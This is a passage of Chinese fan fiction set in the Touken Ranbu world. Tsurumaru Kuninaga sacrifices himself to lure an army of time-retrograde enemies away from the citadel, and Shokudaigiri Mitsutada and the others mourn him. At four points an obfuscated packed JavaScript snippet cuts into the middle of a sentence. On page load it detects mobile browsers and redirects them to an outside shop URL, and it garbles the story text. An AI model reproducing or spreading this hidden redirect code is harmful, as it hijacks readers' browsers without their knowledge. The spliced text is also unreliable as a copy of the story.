如果她的生命安全真的受到威胁,或是因为此次事件受伤,她的家族一定会投入大部分心力去调查这件事,无论对面是谁都不可能逃过。 因此,她甚至期待对方真的是个政治蠢货,上门来让她受点小伤,可惜从天守阁到现在都风平浪静来看,对方不会犯这种错误。 那么她所担心的……就是鹤丸国永了。 她自己本丸内的刀剑们练度都不低,最差也是极化过的了,就算真的敌不过,身上也有不下两个的御守,效果虽然没有万屋卖的那么好,但只是逃跑的话完全够用了。 可鹤丸……鹤丸才来本丸堪堪不过几天,她本想慢慢让鹤丸适应本丸的生活,在这件事彻底解决后再邀请鹤丸加入她的本丸,也就拖到了现在还没有提出和鹤丸链接契约,没想到这件事严重到这样她完全没料到的程度。 也正因如此,鹤丸没办法使用她制作的御守。 即使修复室那边有大俱利伽罗和太鼓钟贞宗,可这群时间溯行军来势汹汹,并且目标明确,他们真的能护得住鹤丸吗? 地葵能想到的这些,烛台切光忠自然也想到了。 烛台切光忠急的像热锅上的蚂蚁,却也清楚主人身边现在不能离开任何一刃,只能压抑下内心不断翻涌的恐惧和担忧,执起刀加入保护地葵的包围圈中。 地葵同样急在心中,她是清楚对方绝对不会碰她,可她就算清楚这一点,并向众刃将这一点告知,几刃也不可能允许自己这样离开她身边。 ……该死的人渣!地葵忍不住在心中暗骂。私联时间溯行军,罪加一等!等这件事过去了,她一定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16690598|188817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要把这家伙九族都全部揪出来举报一遍! 她担忧地看着烛台切光忠的身影,无比理解烛台切光忠此刻的愤怒与恐惧,可哪怕是她也无法改变现状,拿出一个合适的条件逼烛台切光忠离开这里。 “看来老爷爷来的正是时候啊。”无比熟悉的声音传来,地葵猛地转过头。 太好了,救星来了!地葵使劲地向三日月宗近使眼色,三日月宗近心领神会。 “主人这里就交给老爷爷,拜托烛台切殿就去修复室照看一下鹤吧?”三日月宗近难得严肃着脸,沉下音调对着烛台切光忠说道。 烛台切光忠依旧犹豫不决。 哪怕三日月宗近来了,可主人身边的刀剑男士依旧是越多越好,否则主人的安全……这种关键时刻,他怎么能…… “而且主人也很担心鹤丸先生吧?”加州清光大概也看不下去了,突然开口。 地葵眼前一亮,忙不迭点头应下,此刻,地葵恨不得把头点出残影。 知我者,加州清光! “但是……”烛台切光忠还是有些犹豫。 地葵急得都快哭了,这种时候就别再犹豫了! 她想直接把烛台切光忠赶走,可是她清楚不可能的,而且烛台切光忠也是因为担心她才留在这里,所以她只能无力地看着烛台切光忠。 三日月宗近不再废话,他深知当前的情况如何严峻,直接将烛台切光忠推至窗前。 “如果再不动身,恐怕就没机会了哦。” 烛台切光忠顺着向窗外望去。 那是规模惊人的时间溯行军,哪怕是他都有些被吓到了。他们无视了路过所有可攻击的目标,不约而同地只奔向同一个方向——修复室。 全部都是奔着鹤先生去的! 这个数量,只有小贞和伽罗的话,是绝对坚持不住的! 他瞳孔骤缩,几乎是在看清的下一秒就立刻做出了决定。 “抱歉,主人,我……这里就交给三日月殿了。”接着转身就慌忙地从窗户翻越下天守阁,直直向着修复室赶去。 天守阁的众人终于松了口气,终于把烛台切光忠劝走了。 他们可是也很担心鹤丸的啊。 地葵最是无法接受现在的状况,如果鹤丸在他的本丸没有被保护好,就这么出事了的话,她真的不会原谅自己的。 她清楚这不是她的错,可鹤丸的经历已经很苦了,不要再剥夺他来之不易的安稳了,让鹤丸再幸福一点吧……再多给他们一点时间吧。 地葵是个成长经历十分顺遂的女孩。诞生在背景可观的家族内,拥有爱她的父母,和谐的家庭。上学时成绩优异,表现出色,得益于她优秀的灵力天赋,几乎是一毕业就上任了审神者的职位。 成长至今从未收到过什么太大的挫折,直到现在。 她无比地后悔,如果之前再多成长一点,多遇到哪怕一点的挫折……多面对一些事。 是不是,她现在就能保全鹤丸了? …… 拜托你,一定要平安啊,鹤丸。 16.被禁锢自由的鹤丸国永 鹤丸正在试图和自己的梦好好讲讲道理。 其实他这段时间在本丸呆的还是挺安逸的,光坊做的饭很好吃,贞坊送的饰品也很漂亮,小伽罗……小伽罗吸引来的小动物也很好摸。 虽然今天的确出了那么一点意外……但偷袭实在是难以预料嘛,这也不是又一言不合把他拉来梦里的理由吧? 鹤丸一想到离开这个梦后要面临什么就一阵头大。 光坊好不容易才对他放心一些,要是又做个梦惹一身伤,他的自由活动权限也算是玩完了。 ……总不能是他打架打的太烂,鹤丸国永本尊都看不下去了,要把他拉进梦境里好好教导教导吧? 鹤丸叹了口气,把荒谬的想法甩出自己的脑子,环顾起四周的环境。 非常荒凉的本丸,基本上没有什么生活痕迹,河边没有歌仙洗衣服用的木盆,田地也彻底变成了荒地,最重要的是……血。 虽然没有密集到血海的程度,但视线内能看到血的痕迹也可以说是触目惊心。 看来必须点搜集点证据再走了啊。 然后转头就被吓了一跳。 髭切一动不动地盯着鹤丸,眼神似乎在打量什么新奇的怪东西,哪怕鹤丸抬起手在髭切面前晃了晃,他也依旧毫无反应。 ……这髭切怎么不会动?明明上次梦里的时候,髭切还跑到地下室里救出了鹤丸国永。 鹤丸若有所思,决定直接上手试试看,于是伸手向髭切的脸颊—— 然后被髭切轻轻一巴掌拍落了。 “看来是成功了呢,不过新来的鸟丸还真是没礼貌。”原来会动啊?! 髭切对他的到来难道早有预料吗?可这难道不只是一个梦才对吗? 不过什么成功了,新来的鸟丸?他吗?……不愧是髭切,好没头没尾的一句话,鹤丸都不知道从哪个方向思考了。 髭切似乎松了口气,认真地向着鹤丸开始解释。 “嘛,如你所想的那样,我知道你的小秘密,不需要掩饰哦。”难得在髭切这振刀身上看见严肃沉重的表情。“首先,你要记住,我们本丸的等级是A。” “时间紧迫,来不及为你从头解释,就由你来提问吧。” 鹤丸被一连串的这几句话彻底砸蒙了,虽然话语不多,但传达出的信息量比他至今为止所有接触的内容都要多,他实在有些缓不过来。 但他也知道现在情况特殊,没有时间可以留给他慢慢整理思绪,抓紧时间问出了他的疑惑。 “……?”说不出话。 髭切笑得开怀,指了指他身旁的终端。……忘记这时候的鹤丸国永还没解开封印了。 “我到底是谁?” 髭切那张总看不见表情变化的脸难得有了一丝裂纹。 ……不是吧,最后收尾的到底是谁啊?这小家伙怎么连这个也不知道? “这个就是你。”髭切只能认命地指了指时空转换器上的刀。“也可以说你是我们之中的任何一人,毕竟是被我们分裂出来的灵魂哺育成现在这样的呢。” 鹤丸:……? 哺育?那不应该是父亲吗?为什么会是……鹤丸想不通这个问题,索性直接跳过,把这个问题留给之后的自己慢慢思考。 “那我应该做什么?”虽然其他的部分暂且还无法理解,但这群付丧神分裂自己的灵魂,总不会是为了养孩子玩。 再结合先前在地葵本丸时得到的线索……算了,用不着结合,看周围的环境也知道了。鹤丸国永的过去绝不是什么美好的经历,那么他的存在一定是被寄予什么期望的。 那他能做什么来拯救这个本丸,才能努力达到他们的期望? “什么也不需要做。”髭切恢复了他笑眯眯的表情,却轻飘飘地丢出了一句鹤丸想不通的话。 如果真的什么也不用做,那他被创造出来的意义,难道就只是体验不属于自己的人生吗? 这不可能。 除非他什么也做不到,或者他已经做到了。 鹤丸深呼吸,提出了最后一个问题。 “为什么不直接告诉我本丸的全部信息?” “因为会死哦。”髭切在确认鹤丸的情况后,就又变成了一副漫不经心的样子,鹤丸完全不知道他在想什么。“我们身上的诅咒,你也是继承了的,如果你全部想起来的话会死哦。” 鹤丸先前那一次已经确认过,诅咒的绑定条件是记忆,却不知道诅咒的生效条件,它只能往最坏的方向去考虑。 如果想起那些就会死,那么诅咒在他那时显然是已经生效的,可目前面前的髭切显然还是好好的,也就是说诅咒开始生效一定在这之后。 可看髭切现在和鹤丸国永站在时空转换器前的样子,显然是准备逃走的,再紧接着就是他的意识出现时。 诅咒生效的时间就在这一段时间之内! 鹤丸在意识到这一点时,眼神犀利地刺向了天守阁。 “很聪明啊。”髭切有些惊奇。“诅咒生效的条件就是——审神者死亡。” ……而这件事不出意外很快就会发生,也就是说。 “是哦,我们都会死。”髭切的嘴唇一张一合,鹤丸却觉得自己好像什么也看不清。 无论是将还未曾见过的几刃,以及面前的髭切,当做另一个自己,还是当成父亲,这都有些太沉重了。 这样的结局实在太不圆满,鹤丸有些无法接受,可他清楚自己必须要接受,不仅要接受,还要尽可能地为这个既定的结局做些什么。 眼前的世界开始模糊,鹤丸清楚自己将要离去,髭切也立刻反应过来当前的状况,说出了最后的一句话。 “所以,你要好好的,把我们的存在……”告诉给这个世界啊。 …… 刚刚的,究竟是记忆还是真的回到了过去? 鹤丸猛地从修复池中坐起,有种自己身上满是冷汗的错觉。 “鹤先生!”太鼓钟贞宗的声音从不远处传来。 鹤丸努力将模糊的视线聚焦起来,看清了周围的场景。 数不清的时间溯行军。 不知道是视角问题,还是真的被时间溯行军彻底包围,至少现在目光所及之处全都是时间溯行军。 ……不是吧?!这才过了多久,到底发生了什么啊? 鹤丸来不及再思考更多,赶忙跳出修复池一把抓起本体。 正在敌刀群里努力战斗的太鼓钟贞宗和大俱利伽罗早已陷入中伤状态,如果不是两刃来这个本丸的时间都算早期,拥有将对而言强悍的作战经验,现在恐怕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16695275|188817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已经碎刀了。 虽然大俱利伽罗想过把鹤丸直接带走,但无论是他还是太鼓钟贞宗,都没有能力独自挡下汹涌的敌军,只能在这里耗着,希望其他刃能尽快发现修复室的异常。 ……当初建成修复室时,完全没想到过现在这种情况啊!早知道就建的靠近中心一点了。 “鹤先生!你先跑出去,我和伽罗一会跟上!”太鼓钟贞宗咬咬牙,冲着已经恢复清醒的鹤丸喊道。 不对。 太鼓钟贞宗说的不可能实现,鹤丸被改造过的身躯的确能爆发出强大的机动,可那也仅限于爆发,而且修复室的位置太偏,因此他需要足够的逃跑时间。 如果是现在这种时候,以太鼓钟贞宗和大俱利伽罗的现状,恐怕只要他跑了,用不了多久两刃就会不敌时间溯行军。 鹤丸急得团团转,恨不得自己冲上去帮帮太鼓钟贞宗和大俱利伽罗,但也清楚以他的实力,要是这样做了,恐怕还是对两刃的拖累。 ……到底是什么情况啊!为什么一醒来就变成这种鬼样子了,要不是太鼓钟贞宗对着他喊鹤先生,他还以为自己又穿到了什么鬼地方。鹤丸有些崩溃。 “鹤先生!”鹤丸眼前一亮,是烛台切光忠的声音!这样的话就有机会逃跑了!“从窗户跳下来!” 鹤丸毫不犹豫踏上了窗户边缘,翻越到了地面上。 这里的时间溯行军还不算太多,烛台切光忠拽住鹤丸的手就直接冲出了包围圈。 鹤丸急切地回头,冲着窗户大喊。 “贞坊!伽罗!别打了快跟过来!”鹤丸听到了两声响亮的回应,可下一秒却又发现所有时间溯行军都退出了修复室,转而向他和烛台切光忠的方向奔来。 冲着他来的?! 两刃着急地越下窗户,冲到鹤丸和烛台切光忠身边,正巧这时一阵刀光闪过鹤丸眼前,太鼓钟贞宗一个冲刺上前拦下了攻击,同时解决了这振敌短刀。 “到底发生什么了?”鹤丸迷茫地看向几刃。 太鼓钟贞宗和大俱利伽罗也并不知道情况,只能等待烛台切光忠的解答。 烛台切光忠将鹤丸交给了大俱利伽罗,一边在前开路一边组织语言。 “……是鹤先生的前主。”烛台切光忠声音中明显含着怒气。“虽然不知道是本人还是背后的家族,但绝对脱不了干系。” “对面是官方的高层人员,和时间溯行军勾结破开了本丸的结界,之前鹤先生身上的伤也是这个原因。” “那我……”鹤丸犹豫着开口。 “不可以。”烛台切光忠毫不犹豫地打断。“无论你在考虑什么,鹤先生,我们都不会放弃你的。” “嗯。”大俱利伽罗一如既往地寡言。 “我们本丸的练度都很高,大家不会有危险的,千万不要愧疚哦!”太鼓钟贞宗一个小冲刺到鹤丸身边,笑容灿烂地说着安慰的话。 鹤丸闭上了嘴,安静地跟着几刃逃向大广间的方向。 ……可时间溯行军是杀不完的。 即使现在还能勉强对抗,可资源用完之后呢?御守用完之后呢? 既然有官方的人在背后作祟,那真的还有可能得到帮助吗? 如果……在那时,有谁因为他而碎刀,他会原谅自己吗? 17.被禁锢自由的鹤丸国永 几刃向着大广间一路奔逃,可路上的时间溯行军实在过于密集。虽然有练度极高的几刃护着,可鹤丸的能力摆在这,无论如何也不可能避免受伤。 鹤丸才刚刚进入修复室,身上的伤可以说是几乎毫无变化,在这样脆弱的情况下禁不起敌刀的任何一次攻击,几刃只能在每一次避无可避时接下冲向鹤丸的攻击。 他几乎完全失去了语言的能力,只能麻木地看着其他人为了保护他而多出的一道道伤痕。 “鹤先生!”一振高速枪突破包围凑到鹤丸身边,烛台切光忠眼看来不及阻止,一脚踹开了手边纠缠的敌刀,闪身挡在了鹤丸面前。 烛台切光忠闷哼一声,忍着痛转手击散了这把敌枪。鹤丸将他扶到了就近的屋内。 烛台切光忠已经重伤了,即使有御守也撑不了多久的,再拖下去一定会有碎刀的风险。鹤丸非常清楚这件事。 痛苦如潮水般汹涌,又如藤蔓缠绕,细细密密地裹紧他的心脏,带给他摸不清的刺骨,又夺走了他所爱的东西。 真是场不公平的交易啊。此刻他真切地痛恨着自己。恨自己的弱小,恨自己的存在。 “哺育”我的“父亲”在我诞生之前就离我而去,指引我的记忆在前一刻变成了泡沫,而现在,我所珍视的友人因我而背负伤痛。 鹤丸安静地掉着眼泪,不敢发出声音打扰正在战斗的几刃,但还是忍不住溢出了些细微的呜咽声。 ……他终于下定了决心。 贪心的造物得到了不属于自己的温暖,在短暂的蜗居生活中被赋予了弱点,本应该勇往无前的你变得贪生怕死,可却因为“爱”又一次寻回了勇气。 恭喜你,学会了“爱”。 恭喜你,成为了“人”。 鹤丸脸上终于出现了一个不同以往的、生动的笑。 “光坊。”他的声音轻轻的,让人不自觉地一同放轻了呼吸,想听听他为说出口的话。 “我的本丸等级是A。” 烛台切光忠有些不安,他似乎意识到了什么,瞪大了眼睛看向鹤丸,想要伸出手拽住鹤丸的衣摆阻止。 可他什么也没抓到。 纯白色的衣摆掠过,只剩下鹤丸的背影向留给烛台切光忠,鹤丸的背影也是轻轻的,瘦弱的,好像风一吹就像雾一样散了。 鹤丸一步一步走向门外,脚步声像是鼓点,一声、一声地敲出了他走向不归路尽头的讯号。 他没去看外面两刃的反应,害怕任何一点担忧与不舍,都会成为他离开这里的阻碍。 先前挡路的时间溯行军成为了鹤丸的踏脚石,他如真正的鹤一般轻巧,衣摆飞扬着落在了每一个令人意想不到的地方,一步一步地靠近着他的目的地。 烛台切光忠看着那个缥缈的被背影,只能努力地追上那只染着血色的鹤。 附近的时间溯行军在鹤丸离开的一瞬间就调转了方向,前赴后继地追逐着试图捉捕他,折断他,让他陨落在这个给他带来温暖的地方。 一步、两步,鹤丸到达了自己的目的地。 不远处就是时空转换器。 他想的很多。 如果他死了,那髭切他们做的努力是不是就白废了?也许吧,可他的做法一定能被理解的,毕竟他们也是另一个他啊。 如果他死了,时间溯行军会不会就这么离开?他想是不会的,前主的目标是他没错,可时间溯行军不一定会只局限于此。 如果他死了……还有机会再体会这样的温暖吗?鹤丸陷入了沉默,然后决绝地回答了自己。没有了,但他不能后退。 鹤丸转身看了一眼马上要追上来的烛台切光忠,毅然地将几乎所有灵力附着在那振脆弱的本体上,投掷到了时空转换器旁的空地上。 现在是真的,彻底没有回头路了。 抱歉,髭切,我好像只能做到这里了,辜负了你们的期望和苦难,没能让你们的故事,你们的存在,被更多人所知晓,没能为你们做到更多。 抱歉,光坊,贞坊,小伽罗,还没来得及感受更多的温暖就要离开了,真舍不得你们啊,如果可以的话,果然还是不想就这样离开。 抱歉,这位好心的审神者大人,把你的本丸搞得一团糟,可惜我也没办法赔偿了,不过我想您应该也不会要我赔偿吧? 抱歉,鹤丸国永……我到最后也没有变得像真正的鹤,辜负了你的信任啊。 还能抱歉谁呢?大概没有了,那么,抱歉小金鱼吧。鹤丸忍不住被自己逗笑了一瞬。 抱歉了小金鱼,那天在万屋丢下你们一次,现在又要有第二次了,不过我想,有大家照顾你们,应该也能生存得很好吧? 在时间溯行军即将触碰到鹤丸本体的那一刻,烛台切光忠终于越过阻碍,来到了他的身边,同时,鹤丸发动灵力启动了时空转换器。 那群数不清的如浪潮般的时间溯行军,与鹤丸的本体一同消失在了这个本丸。 烛台切光忠非常清楚刚刚鹤丸做了什么,也清楚结果再也无法改变,恐惧、崩溃的心情毫不留情地冲击着他。 烛台切光忠紧紧地拥抱着鹤丸,看着鹤丸脸上唯一一次这么耀眼的笑,却感到了无比的刺眼。 他的眼泪顷刻就落了下来,溢出眼眶,划过脸颊,顺着下颌滴落,或是粘连在了鹤丸的肩上。 鹤丸伸手轻轻地摸着烛台切光忠的头,动作温柔而眷恋,烛台切光忠太清楚这意味着什么,于是他更加痛苦,他更加无奈,他被迫承担了被成倍增加的汹涌的不舍与崩溃。 烛台切光忠看着鹤丸的身体几乎是在一瞬间出现了无数血痕,血液连成串接连掉落在地,刺眼到烛台切光忠无法直视。 从鹤丸身上流淌的,和烛台切光忠身上渗出的血覆盖,混成一滩,温热地交融。 这时候是该说一些安慰对方的话,对吗?鹤丸有些好笑。 但抱歉,他是个比较自私的家伙,不过看在他还算是新生儿的情况下,就允许他自私这一回吧,他知道大家不会怪他的。 鹤丸的嘴费力地一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16704844|188817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 张一合,在烛台切光忠的严眼中仿佛被按下了慢放,他清楚地,深刻地看清了鹤丸说的话。 “别忘记我。” 鹤丸消失在原地,烛台切光忠的拥抱变得空空如也,没有浪漫的星点,也没有更多的时间留给他们告别,原地只留下了一副断裂的锁链和一滩甚至还保留着温度的血。 烛台切光忠的眼泪从无声的滴落变得汹涌。 他看见了,鹤丸成为了真正的鹤,轻盈而自由,可却是在他生命的尽头时。 ……可其实连自由都没有。 鹤先生直到最后都没能摆脱这根锁链,它扣住了他的自由,夺走了他的记忆,甚至剥夺了他至少应该拥有的爱。 不应该的。烛台切光忠想。 无论鹤丸遭受了多少不公,至少他,至少烛台切光忠,绝不会因为这些而对鹤丸国永有任何的偏见。 所以不应该的。 那时候鹤丸的警惕、不安,无时无刻都刺痛着他,他努力着,努力地不停的更加努力,让鹤丸能无忧无虑地享受来自友人的爱,希望鹤丸能找回自己该有的样子。 好不容易,好不容易……才有了一点点的进展。 他好不容易才看到鹤丸展露出了熟悉的信任,好不容易才看到他日益活泼起来的样子,好不容易才扫去了鹤丸身上的一部分阴霾。 烛台切光忠捡起了这根锁链,泄愤一般地将它扔向了远处,又在下一刻狼狈地把锁链捡回来,他麻木地盯着锁链,终于嚎啕大哭起来。 这样……真是太不帅气了,可是他控制不住,他不明白。 为什么会对这振鹤先生如此不公?为什么要让鹤先生遭受这些?为什么,就不能哪怕让他多感受一些温暖?这真的太不公平了,这真的太残忍了。 大俱利伽罗和太鼓钟贞宗终于赶到,他们也在不远处看到了全程。 大俱利伽罗撇过头,也许是在忍耐涌上的酸楚,轻轻地拍着烛台切光忠的背。太鼓钟贞宗紧紧拥抱着烛台切光忠,像要把内心的痛楚通通融进这个拥抱,同样用放声大哭来表达了他的悲伤与痛苦。 …… 鹤丸意识模糊地飘荡着,他不清楚自己在哪,也记不清自己是谁,只觉得身上很痛。 ……真的好痛,他之前到底做了什么才会搞成这个样子? 鹤丸努力地试图拨开意识中的迷雾,想搞清楚自己的身份和处境,却被一股温柔的力气推着离开了这里,走向了一片光亮的方向。 “别害怕,去往你的下一段旅途吧。” 好熟悉的声音。 …… “你确定要参与这次事件的调查组?”时政的工作人员头也不抬地询问。 “嗯。”回答的声音毫不犹豫。 “……好吧,既然考虑好了我就不多说了,那你的本丸派出的队伍呢?”工作人员有些无奈,在审核后只能同意了这个要求,但说实话,他不觉得这个小姑娘应该参与这么危险的行为。 “队长是,烛台切光忠……” 18.被禁锢自由的鹤丸国永 鹤丸的碎片找到了。 在本丸的时间溯行军彻底清理干净后,烛台切光忠向地葵发出请示,循着时空转换器的跳转记录,前往了那个鹤丸碎刀的时空。 那时的烛台切光忠还身负重伤,鹤丸和他自己的血几乎洒满了全身,地葵本来不应该同意的,至少……要在修复之后才行,但在看到烛台切光忠疲惫的眼神后,鬼使神差地通过了这个请示。 烛台切光忠看着地上静静躺着的,已经残破不堪的刀剑碎片,似乎是已经彻底麻木,并没有再多的反应了,他只是静静地蹲下身,伸出手一片一片地捡起了那些碎片。 还算完整的碎片被他包裹在布中,一块一块地放入包中,至于微小的已经混杂在土中的碎屑,则被他捧起,耐心地一点一点拂去尘土。 当然,不会忘记你的。 鹤先生,我来带你回家。 烛台切光忠可以说是最了解鹤丸的刃,毕竟从鹤丸最初拥有意识时的懵懂,到之后的警惕不安,再到向他们展露出脆弱和信任,甚至直到他碎刀前的最后一刻,每一步里都能找到烛台切光忠的身影。 也许是对于友人的关心,也许是因为鹤丸状况而产生的责任感,其实烛台切光忠自己也不是很分得清了,但无论是哪一种原因,烛台切光忠都密切地渗透了鹤丸的每一滴回忆。 太鼓钟贞宗和大俱利伽罗的观察力并不弱,他们同样清楚的意识到这一点,也看得见鹤丸对烛台切光忠不自觉的依赖,于是总是将距离鹤丸最近的位置留给烛台切光忠。 对鹤丸来说,也许烛台切光忠是挚友,是精神层面上的“父亲”,是教导他成为人的引路人,是他得到的第一份爱。 无论是哪一种可能,烛台切光忠对他的意义都是毋庸置疑的特殊。 他们都是乐于看到这样的变化的,虽然多少会有些吃味,毕竟他们同为鹤丸国永重要的同伴,却没能也占据一个足够特殊的位置。 但无论如何,鹤丸变得更鲜活了,与世界的联系都变得更牢固了,这样就可以了,不是吗? 明明一切都在向着好的方向发展,明明鹤丸才刚刚敞开心扉,才刚刚和他们重新建立起链接。 他们都没想到最后会得到这种结果。 鹤丸来到本丸的时间实在太短,甚至短到连遗物都没能留下多少 。他的存在和他孱弱的背景一般,脆弱而缥缈,在他决定离去时,就再也没人能捉住他留下的任何一点痕迹。 鹤丸最后留下的那句话实在太过震撼,烛台切光忠无论如何都无法淡忘分毫。 ……但是,不能再那样失态了,依旧要保持帅气啊。 鹤先生,如果你还能看得到,那就请好好看着我吧,我一定会帅气地,将你的人渣前主解决掉的。 烛台切光忠笑着,将布包中的碎片放在了储柜的最上层。 …… 烛台切光忠安静地包装着一袋又一袋的曲奇。 其实包装纸是他在曲奇做好后的第二天就买好了的,只是那天实在有些忙碌,他还没来得及叫上鹤丸一起,回头就已经想不起来这回事了,一直拖到了现在,没想到已经彻底没机会了。 聪明如烛台切光忠,他怎么会没猜到那时鹤丸做的曲奇是送给谁的? 现在鹤丸没了亲手送出去的机会,那就由他来继续完成这件事吧。不过他自己的那份应该就不用再包装了吧? 他轻轻捏起一块曲奇,送进嘴里。 如果是辣味或者咸味之类的,可能会更符合大家对鹤先生的印象吧? 烛台切光忠笑了笑。 虽然印象中是这样没错,但比起那些他人熟悉的鹤丸国永,他还是更了解自己家这位鹤先生,这只老实到有些匪夷所思的鹤丸可绝对不会这么做啊。 果然是意料之中的,普通的黄油香。 一块曲奇入口,烛台切光忠的明显心情好了些,哼着温柔的曲调包好了剩下的曲奇,交给了粟田口的短刀们。 短刀虽然同他们一样经历了千百年的时光,但大概是显形的身体是小孩子的缘故,基本上性格也与真正的小孩子无异……大概,除了药研藤四郎? 每一振短刀在收到烛台切光忠送去的曲奇时,都露出了难以言喻的难过的表情,尤其是五虎退和乱藤四郎,几乎是在曲奇刚接到手里时就已经落下眼泪。 “……为什么,要这样对鹤丸先生,明明他已经什么都不记得了吧?为什么还要追到这里……”乱藤四郎抽噎着,不知道是在问谁,也或许只是他想问出来,想要发泄而已。 其实烛台切光忠也想问这个问题,也想得到答案,但他也清楚这个问题没有问出来的必要,因为可以得到的回答显而易见。 所以比起答案,他更想要的也许是一个交代。 因为鹤先生的存在本身,对犯下错误的那群人来说就是一种威胁,因为鹤先生本身就是证据。 鹤丸不需要记得什么,只要那些痛苦的痕迹还存在于他身上,就会有无数的人提高警惕,让他们的恶行无处遁形,让他们的丑恶人尽皆知。 所以无论如何,鹤丸都必须死。 烛台切光忠甚至愤怒到有些想笑了,这不过是人渣的垂死挣扎,可却要带走他人所珍视的,真是不公平。 那家伙的确用这种鱼死网破的方式,成功从他们身边带走了鹤先生,但之后呢? 哪怕显现在本丸的他们不过是分灵,但也同样是作为付丧神存在的。即使是末位神明也同样是神明,怎么可能会任人宰割,毫无反击的手段?可别因为他们作为刀剑的忠诚,就完全忘记了他们的攻击性啊。 既然已经有了一个鹤先生逃出来,就不会只有一个鹤先生。 不会需要很久的,鹤先生本丸的其他刃一定不会坐以待毙,离他能给鹤先生报仇的机会,不会很远的。 …… 烛台切光忠蹲在了本丸的水池边,看着鹤丸国永下上次带回来的金鱼。 因为地葵对水产品并不感兴趣,也没打算好好装饰一下这里,他们本丸的水池一直没有派上用场,现在倒是刚刚好给这群小家伙用上了。 ……不过说起来,鹤先生那天为什么会突然买这么多金鱼? 烛台切光忠看向了一旁的太鼓钟贞宗……算了,小贞应该也不可能知道,之后去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16711283|188817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问一下那个本丸的鹤丸国永好了。 太鼓钟贞宗躺在岸边,对着光端详鹤丸送给他的挂件。 地葵对他们一向很好,因此他购置布料时从来都只选择质量最好的批次,厚实绵软,光一点也透不过来。 这是鹤丸留给他唯一的遗物。 鹤丸留下的东西实在太少,只属于他的就更少了,除了几套衣服和日用品,就只剩下了这个。 说实话,太鼓钟贞宗感到庆幸,还好他当时向鹤丸提出了这个请求,还好他让鹤丸留下了一些痕迹,还好鹤丸是那么纵容他们。 还好……还有这些东西,能证明鹤丸真正地存在过,真切地到来过这个世界。 烛台切光忠在太鼓钟贞宗身旁坐下。 “不去看看伽罗吗?”烛台切光忠突然开口。 “伽罗啊……”太鼓钟贞宗稍微思考了一会。“他应该在什么地方自己躲着吧?” 烛台切光忠无奈地笑了笑,大概是认同了太鼓钟贞宗的想法。 真是没办法啊,伽罗平时就不爱说话,现在估计很难找到他了吧? “呐,小光。”太鼓钟贞宗忍不住问出了一个问题。“我们本丸还会有新的鹤先生吗?” 烛台切光忠有些好笑,伸手一把盖在了太鼓钟贞宗的头上,狠狠揉了两把。 “这个要看主人的意思了吧?而且鹤先生也没那么容易得到吧。”太鼓钟贞宗并不回答,沉默地看着手中的挂件。 “难道你担心,自己会因为新的鹤先生到来,而忘记他吗?” 太鼓钟贞宗瞪大了眼睛,慌忙摇着头否认了这句话。 “怎么可能!我只是,在想……”他抿了抿唇,似乎对自己想说的话有些难以启齿。 “要是到时候看到其他的鹤先生,忍不住哭了的话,也太丢人了。” 烛台切光忠看出太鼓钟贞宗原本想说出口的并不是这句话,但他也并不打算追问。 “鹤先生应该不会笑你吧?” “……嗯。” 烛台切光忠捏了捏口袋里有些发软化掉的糖,递给了太鼓钟贞宗。 “这是鹤先生送给你的。”假的,这只是当时鹤丸随手从一期一振那包糖里挑出来的。不过太鼓钟贞宗听了这句话确实眼前一亮。 “主人去报名参与了鹤先生本丸的调查组。” “诶?”太鼓钟贞宗被这个突然的消息惊了一下。“真的吗?主人有打算把我带上吗?伽罗呢?” 烛台切光忠看着太鼓钟贞宗又变得有精神的样子,没忍住笑出声。 “当然有,伽罗也在,我们会一起去讨伐那个人渣的。” “所以,打起精神一点吧,鹤先生还在等着呢。” “嗯!” 烛台切光忠深呼吸,眼神从太鼓钟贞宗身上挪开,飘向部屋的储柜。 请不要感到孤单,请不要感到害怕。 时间的长河没能摧折你,人性的恶劣没能磨灭你。 如果你现在已经回到了本灵,那么再有下一次时,请一定要,幸福地成为一只真正的鹤。 这是我对你真心的祝愿。 19.失去本体刀的髭切 